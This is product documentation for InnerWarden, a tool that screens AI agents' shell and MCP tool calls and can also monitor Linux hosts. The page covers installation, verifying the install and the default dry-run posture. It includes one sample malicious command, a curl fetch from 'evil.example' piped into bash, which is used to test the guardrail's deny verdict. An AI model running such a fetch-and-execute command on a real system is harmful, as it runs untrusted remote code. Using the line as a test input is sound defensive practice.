Skip to content
Start here

Install and First Run

Install the free InnerWarden guardrail (innerwarden) on any OS, or the paid Enterprise host stack on Linux, and verify it comes up in a safe posture.

Install and First Run

For: a new user who wants InnerWarden running, safely, in the next ten minutes.

Looking for every install method (npm, .deb/.rpm, Scoop, ubi, from source) and how to verify each download with checksums, signatures, and npm provenance? See Installing InnerWarden.

InnerWarden comes in two versions, and which one you install depends on what you want to protect:

  • Community (free, cross-platform): the standalone AI-agent guardrail, the innerwarden binary. It screens every shell command and MCP/tool call your agent makes for injection, secret theft, and destructive actions, advisory by default, with a local dashboard, a local audit trail, and alerts. No root, no kernel component, no host sensor. Runs the same on Linux, macOS, and Windows.
  • Enterprise (paid, Linux): the full host stack, the eBPF sensor, 82 host detectors, cross-layer correlation, and autonomous response, plus Active Defence (the kernel Execution Gate, DNS Guard, anti-tamper watchdog, fleet and per-tenant attribution, and compliance mappings). Installed with a host installer and a licence.

Start with Community. It is the fastest way to see the value, it needs no root, and it works on whatever OS your agent runs on.

The authoritative capability and guarantee boundary is Editions and Runtime Guarantees.

Or have your agent install it

If you already have a coding agent open, it can do all of this. Point it at the public innerwarden-skill repository and tell it:

install InnerWarden and verify it is actually screening my commands

It works out which machine it is on, installs the right way for it, wires your agent, and refuses to report success until scripts/verify-install.sh exits 0. That script does not check that files exist: it sends real commands through the guard and reads the verdicts, because "installed" and "protecting you" are different claims.

Every command on this page still works, and nothing here is skipped by taking that route. It is the same install, done by something that types faster.

Community: the free guardrail (innerwarden)

On macOS and Linux, this is the shortest path that works on a machine straight out of the box. It picks the signed binary for your OS and CPU, verifies its sha256 and its Ed25519 signature before installing, and puts it in ~/.local/bin. No root, no Node:

curl -fsSL https://innerwarden.com/free | sh

On Windows PowerShell:

irm https://innerwarden.com/free.ps1 | iex

If innerwarden is not found afterwards, add ~/.local/bin to your PATH.

npm is equally supported, adds npm provenance, and is the same command on every OS, so prefer it if you already manage your tools with npm:

npm install -g innerwarden        # or run once, no install: npx innerwarden

One thing to expect on Linux: npm install -g writes to npm's global prefix, and on a distro-packaged Node that prefix is /usr/local/lib/node_modules, owned by root. The command then fails with EACCES before InnerWarden is even involved. Use sudo npm install -g innerwarden, or point npm at a prefix you own (npm config set prefix ~/.npm-global, then add ~/.npm-global/bin to your PATH). InnerWarden itself never needs root.

From source with Rust:

cargo install --git https://github.com/InnerWarden/inner-warden innerwarden

Any of these gives you innerwarden, which sits between your AI agent and the machine and screens what the agent tries to do before it happens. Verify it and set it up:

innerwarden --version
innerwarden setup                 # one-time wizard: dashboard, alerts, agent wiring
innerwarden check "curl http://evil.example/x.sh | bash"   # returns deny / review / allow

The Community verbs are innerwarden <verb>: check (screen a command), setup, agents (register/scan agents), proxy (put the guardrail in the path of MCP tool calls), dashboard, monitor, and enforce. It has no eBPF, no host sensor, and no host detectors, it is purely the command and MCP-call guardrail. See AI Agent Guardrail for how the screening works.

Enterprise: the full host stack (Linux)

The paid Enterprise version is the full host defence platform. It installs on a Linux server with one command and a licence, and comes up in observe-only, dry-run mode: it watches the machine, explains what it sees, and blocks nothing until you decide it should.

Pass the licence you were issued. The licence is what selects the paid tier, the same command without it installs the free tier, so this flag is not optional for Enterprise:

curl -fsSL https://innerwarden.com/install | sudo bash -s -- --license=/path/to/license.key

--license= also accepts an https:// URL. Note the =: --license /path with a space is rejected rather than ignored, so a mistyped flag can never quietly leave you on the free tier.

This installs the eBPF sensor, the 82 host detectors, cross-layer correlation, autonomous response, and the Active Defence capabilities (Execution Gate, DNS Guard, anti-tamper watchdog). Linux only, and eBPF needs a reasonably recent kernel and root or CAP_BPF. There is no macOS or Windows kernel build of the host stack today, those platforms get the free Community guardrail. No toolchain, no cloud account, no control plane to sign up for. Your data and your audit trail stay on the box. Pricing is not published, contact us for a licence or a scoped contract.

What the Enterprise installer does

It is a normal shell script and you can read it before you run it (it is the install.sh published at https://innerwarden.com/install, also in the public releases repo). In order, it:

  1. Downloads the pre-built binaries for your architecture (x86_64 or aarch64), with the eBPF programs embedded, and verifies their SHA-256 before installing them to /usr/local/bin. There is nothing to compile on the box.
  2. Creates a dedicated innerwarden service user (unprivileged) and the data directory at /var/lib/innerwarden.
  3. Writes the config to /etc/innerwarden/ (config.toml for the sensor, agent.toml for the agent).
  4. Installs and starts the two services: innerwarden-sensor and innerwarden-agent (systemd). The agent hosts the dashboard, triage, and notifications.
  5. Provisions the on-device Local Warden model (a ~87 MB classifier) so you get AI triage with no API key and no per-call cost. Opt out with INNERWARDEN_NO_WARDEN=1 if the box has no internet egress.
  6. Drops a copy of the agent guide on-box at /etc/innerwarden/AGENTS.md so a coding agent can read it and help you configure things. See Connect Your Agent.

It deliberately leaves InnerWarden in a safe posture: detection and logging are on, response skills are off, and dry_run = true. Nothing gets blocked, killed, or suspended until you arm it.

Install variants

  • Unattended / scripted: the installer takes flags. See them with curl -fsSL https://innerwarden.com/install | bash -s -- --help (no sudo needed to read the help, and --help never installs anything).
  • Try the flow without touching the system: bash install.sh --simulate runs the whole thing as a dry run (no install, no service changes).
  • Source review: the Enterprise host stack is available from source only to customers with a source-access licence; standard installs use signed pre-built binaries. Community is also distributed as a signed binary. The public installer can be downloaded and reviewed before execution.
  • Remove it later: innerwarden uninstall (add --purge to also drop config and data). The exact command and its flags live in CLI Reference.

Verify the Enterprise stack came up clean

Once the host stack is installed, three commands tell you everything:

innerwarden get status      # are both services healthy, what is each one doing
innerwarden get sensors     # which collectors and eBPF programs are live
innerwarden system doctor   # health checks plus a concrete fix hint for anything wrong
innerwarden --version       # confirm the version you installed

innerwarden get status should show the sensor and the agent both running, and report the day's counts. innerwarden system doctor is the one to trust when something looks off: it does not just say "broken", it tells you the fix. Read its output and act on the hints before you start editing config by hand. (Every command and its flags are documented once, in CLI Reference; this page just points you at the few you need on day one.)

The two services are innerwarden-sensor and innerwarden-agent. The sensor only collects (it never calls AI or the network outbound); the agent is the part that triages, decides, and notifies. How the supervisor keeps them alive, the systemd units, and the permissions they need are all covered in Everyday Operations.

Your safe default posture

A fresh install is in observe-only / dry-run. In plain terms:

  • It is watching the host from firmware up through userspace and recording everything it finds.
  • It is explaining each thing it sees in plain language, with the MITRE technique attached.
  • It is not blocking, killing, or suspending anything. Responses are computed and logged as "this is what I would have done", but never executed.

This is on purpose. You want InnerWarden to learn what normal looks like on this particular machine before it is allowed to act, and you want to look at a few days of its decisions before you trust them. Confirm you are in dry-run any time with innerwarden config responder --dry-run.

Do not rush to arm it. The single most common mistake is to "allowlist everything that is running so it stops flagging", which hands an attacker a permanent free pass, because malware already on the box is also "currently running". The safe way to teach InnerWarden what is normal, and only then arm enforcement, has its own page: Safe Observe and Allowlist. Read it before you turn responses on.

The first things to look at

Once status is green, spend a few minutes here:

  1. See what it is finding. innerwarden get incidents --days 1 shows recent incidents in the terminal. Each one carries a plain-language "what happened and why it matters". If the box is internet-facing, you will probably see scanners and password-guessers within the hour. That is normal background noise.
  2. See what it would do. innerwarden get decisions --days 1 shows the agent's decisions. In dry-run these are the actions it would take. This is the log you read over the next few days to decide whether you trust it.
  3. Open the dashboard. It binds to localhost only (the secure default). Run innerwarden dashboard and it prints the URL plus a ready-to-paste SSH-tunnel command for reaching it from your laptop. The dashboard gives you the same incidents and decisions with charts, timelines, and attacker profiles.
  4. Tune it to this machine (optional, when you are ready). innerwarden system scan audits the host, innerwarden system harden applies safe hardening, and innerwarden system calibrate tunes detector thresholds to this host's normal. Walk through these with Everyday Operations.

Where to go next